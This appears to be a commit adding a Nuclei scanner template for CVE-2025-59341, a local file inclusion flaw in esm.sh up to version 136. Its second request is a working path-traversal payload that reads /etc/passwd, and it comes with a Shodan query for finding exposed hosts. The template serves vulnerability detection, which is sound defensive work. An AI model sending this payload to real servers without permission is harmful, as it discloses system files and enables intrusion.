Create CVE-2025-59341.yaml esm.sh <= v136 - Local File Inclusion

http/cves/2025/CVE-2025-59341.yaml

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+id: CVE-2025-59341
+
+info:
+  name: esm.sh <= v136 - Local File Inclusion
+  author: 0x_Akoko
+  severity: high
+  description: |
+   esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request.
+  impact: |
+   Attackers can read arbitrary files from the server, potentially exposing sensitive information.
+  remediation: |
+   Update esm.sh to a version later than 136 or the latest available version.
+  reference:
+    - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r
+    - https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-59341
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2025-59341
+    cwe-id: CWE-23
+    epss-score: 0.02
+    epss-percentile: 0.08
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: esm-dev
+    product: esm.sh
+    shodan-query: http.html:"esm.sh"
+  tags: cve,cve2025,esm,lfi,traversal
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - status_code == 200
+          - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: status
+        status:
+          - 200